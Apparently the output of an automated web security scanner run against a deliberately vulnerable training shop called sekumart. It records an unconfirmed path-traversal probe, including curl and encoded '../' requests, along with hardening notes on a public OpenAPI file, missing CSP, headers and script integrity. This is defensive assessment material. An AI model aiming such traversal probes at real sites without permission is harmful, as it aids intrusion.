</div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:51 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:51 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · view unconfirmed · low confidence BV-059 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: view in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

view reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

view looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1&redirect=1&returnTo=1&return_url=1'

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:38 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:38 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/../1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:38 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/%2e%2e/1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:38 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=sksdqmr8l/1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:38 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:39 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

Security observations 6 — attack surface and hardening

Not weaknesses in themselves: things worth knowing about the surface, and hardening that is absent. Each says what would make it matter.

GET/openapi.json API surface on /openapi.json confirmed · high confidence BO-001 low

Evidence. /openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

How to fix. Decide deliberately whether this should be public. If not, put it behind the same authentication as the API it documents.

What we verified An API specification is readable without authentication and enumerates the endpoints listed below.

What this can lead toThis removes the guesswork of finding endpoints. It is only a weakness if the specification was meant to be private. Assessment boundary: The endpoint was read, not exercised beyond that.

How to fixDecide deliberately whether this should be public. If not, put it behind the same authentication as the API it documents.

location: GET https://sekumart.sekuripy.hr/openapi.json proved with 7 payloads
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-200 · WASC-13
standards: OWASP Top 10 2025A02:2025 OWASP API Security Top 10 2023API9:2023 OWASP ASVS 5.0.0V4 OWASP WSTG 4.2WSTG-CONF-02 ISO/IEC 27001 2022A.8.26 NIST CSF 2.0ID.AM-02

Decisive evidence

API specification is publicly readable confirmed

/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

paths

surfaces registered

title

sekumart API

version

1.0

Additional corroboration — 6

API specification is publicly readable
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.
API specification is publicly readable
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.
API specification is publicly readable
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.
API specification is publicly readable
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.
API specification is publicly readable
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.
API specification is publicly readable
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

Reproduce

request GET https://sekumart.sekuripy.hr/openapi.json bytes
request GET https://sekumart.sekuripy.hr/openapi.json?c=1&l=1&cat=1&id=1&q=1&sort=1&order=1&user=1 bytes
request GET https://sekumart.sekuripy.hr/openapi.json?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 bytes
request GET https://sekumart.sekuripy.hr/openapi.json?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes
request GET https://sekumart.sekuripy.hr/openapi.json?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 bytes
request GET https://sekumart.sekuripy.hr/openapi.json?fields=1&full=true bytes

Detection details — how this was found and rated

checks: api/rest
class: rest api

All supporting observations

API specification is publicly readable api/rest · low
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

paths 9 surfaces registered 9 title sekumart API version 1.0
API specification is publicly readable api/rest · low
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

paths 9 surfaces registered 9 title sekumart API version 1.0
API specification is publicly readable api/rest · low
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

paths 9 surfaces registered 9 title sekumart API version 1.0
API specification is publicly readable api/rest · low
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

paths 9 surfaces registered 9 title sekumart API version 1.0
API specification is publicly readable api/rest · low
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

paths 9 surfaces registered 9 title sekumart API version 1.0
API specification is publicly readable api/rest · low
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

paths 9 surfaces registered 9 title sekumart API version 1.0
API specification is publicly readable api/rest · low
/openapi.json documents 9 paths, including methods, parameters and schemas, which removes the enumeration work an attacker would otherwise have to do.

paths 9 surfaces registered 9 title sekumart API version 1.0

Context

API endpoint discovered: GET /openapi.json
JSON/REST endpoint observed in traffic returning object[4].

GEThttps://sekumart.sekuripy.hr/ Client-side supply chain confirmed · high confidence BO-002 low

Evidence. https://static.cloudflareinsights.com/beacon.min.js is loaded from static.cloudflareinsights.com with no integrity hash. Whatever that host serves runs in this origin, with this origin's cookies and DOM access.

How to fix. Add integrity="sha384-..." **and** crossorigin="anonymous" to every third-party script and stylesheet - the hash is not checked without the second attribute. Where a vendor rotates the file at a stable URL, self-host it instead: a hash cannot pin a moving target.

What we verified Script and stylesheet tags were read from the DOM along with their integrity and crossorigin attributes.

What this can lead toA third-party script tag is a standing grant of full access to this origin: whatever that host serves runs with your cookies and your DOM. If the host is compromised, so is every page that includes it. Assessment boundary: No third-party host was tested, and no served file was compared against a known-good hash.

How to fixAdd integrity="sha384-..." **and** crossorigin="anonymous" to every third-party script and stylesheet - the hash is not checked without the second attribute. Where a vendor rotates the file at a stable URL, self-host it instead: a hash cannot pin a moving target.

location: GET https://sekumart.sekuripy.hr/
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-829
standards: OWASP Top 10 2025A03:2025, A08:2025 OWASP ASVS 5.0.0V3 ISO/IEC 27001 2022A.5.21, A.8.28 NIST CSF 2.0ID.AM-02, PR.PS-01 PCI DSS 4.0.16.4.3

Decisive evidence

Third-party script loads without Subresource Integrity confirmed

https://static.cloudflareinsights.com/beacon.min.js is loaded from static.cloudflareinsights.com with no integrity hash. Whatever that host serves runs in this origin, with this origin's cookies and DOM access.

page

https://sekumart.sekuripy.hr/

resource

https://static.cloudflareinsights.com/beacon.min.js

host

static.cloudflareinsights.com

tag

script

executable

yes

Reproduce

navigate https://sekumart.sekuripy.hr/ bytes

Detection details — how this was found and rated

checks: client/supplychain
rating basis: P4 - third-party script executes unverified in this origin
class: supplychain client

Context

Third-party code origin: static.cloudflareinsights.com
static.cloudflareinsights.com serves 1 resource into this application; 0 verified with SRI. Code from this origin runs with the application's cookies and DOM access.

GEThttps://sekumart.sekuripy.hr/reviews.php Content-Security-Policy confirmed · high confidence BO-003 info

Evidence. No CSP is served: the application has no declarative defence against injected script.

How to fix. Remove 'unsafe-inline' and 'unsafe-eval' from script directives and adopt per-response nonces, or hashes for the handful of inline blocks that remain. Set object-src 'none' and base-uri 'self', which have no fallback from default-src. Deploy with Report-Only first, then enforce - a policy left in Report-Only enforces nothing.

What we verified The Content-Security-Policy served by this origin was parsed the way a browser parses it, and what it permits was read off the directives.

What this can lead toA policy that permits inline script or eval does not stop an injected payload. This is a missing mitigation, not an injection: it matters in proportion to the injection risk elsewhere in the application. Assessment boundary: No script was injected to test the policy in a browser.

How to fixRemove 'unsafe-inline' and 'unsafe-eval' from script directives and adopt per-response nonces, or hashes for the handful of inline blocks that remain. Set object-src 'none' and base-uri 'self', which have no fallback from default-src. Deploy with Report-Only first, then enforce - a policy left in Report-Only enforces nothing.

affected: 2 routes https://sekumart.sekuripy.hr/reviews.php, https://sekumart.sekuripy.hr/setcurr.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-693 · WASC-15
standards: OWASP Top 10 2025A02:2025 OWASP ASVS 5.0.0V3 OWASP WSTG 4.2WSTG-CONF-12 ISO/IEC 27001 2022A.8.9, A.8.26 NIST CSF 2.0PR.PS-01 PCI DSS 4.0.16.4.1

Decisive evidence

No Content-Security-Policy confirmed

No CSP is served: the application has no declarative defence against injected script.

url	https://sekumart.sekuripy.hr/reviews.php

Additional corroboration — 1

No Content-Security-Policy
No CSP is served: the application has no declarative defence against injected script.

Reproduce

request GET https://sekumart.sekuripy.hr/reviews.php bytes
request GET https://sekumart.sekuripy.hr/setcurr.php?c=USD bytes

Detection details — how this was found and rated

checks: config/csp
rating basis: P5 - no declarative script policy
class: csp config

All supporting observations

No Content-Security-Policy config/csp · info
No CSP is served: the application has no declarative defence against injected script.

url https://sekumart.sekuripy.hr/reviews.php
No Content-Security-Policy config/csp · info
No CSP is served: the application has no declarative defence against injected script.

url https://sekumart.sekuripy.hr/setcurr.php?c=USD

GEThttps://sekumart.sekuripy.hr/ Missing security headers confirmed · high confidence BO-004 info

Evidence. Response advertises implementation details: x-powered-by

How to fix. Add Content-Security-Policy, X-Content-Type-Options: nosniff, Referrer-Policy and HSTS where TLS is in use, and remove version banners such as X-Powered-By.

What we verified The response omits hardening headers, or advertises implementation detail in them.

What this can lead toThese headers reduce the impact of other flaws. Their absence is not an attack path on its own. Assessment boundary: Nothing was exploited through this observation.

How to fixAdd Content-Security-Policy, X-Content-Type-Options: nosniff, Referrer-Policy and HSTS where TLS is in use, and remove version banners such as X-Powered-By.

affected: 8 routes https://sekumart.sekuripy.hr/, https://sekumart.sekuripy.hr/account.php, https://sekumart.sekuripy.hr/admin.php, https://sekumart.sekuripy.hr/api.php, https://sekumart.sekuripy.hr/apiv1.php, https://sekumart.sekuripy.hr/image.php, https://sekumart.sekuripy.hr/setcurr.php, https://sekumart.sekuripy.hr/setlevel.php
authentication: none - reachable anonymously (policy-wide; not tied to one surface)
classification: CWE-693 · WASC-15
standards: OWASP Top 10 2025A02:2025 OWASP ASVS 5.0.0V3, V13 OWASP WSTG 4.2WSTG-CONF-12, WSTG-CONF-07 ISO/IEC 27001 2022A.8.9, A.8.26 NIST CSF 2.0PR.PS-01 PCI DSS 4.0.16.4.1

Decisive evidence

Debug / technology disclosure headers confirmed

Response advertises implementation details: x-powered-by

url	https://sekumart.sekuripy.hr/

Additional corroboration — 22

Debug / technology disclosure headers
Response advertises implementation details: x-powered-by
Debug / technology disclosure headers
Response advertises implementation details: x-powered-by
Missing Permissions-Policy header
No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.
Missing Permissions-Policy header
No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.
Missing Permissions-Policy header
No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.
Missing Permissions-Policy header
No permissions policy: camera, microphone, geolocation and payment remain available to any embedded content.
Missing Permissions-Policy header
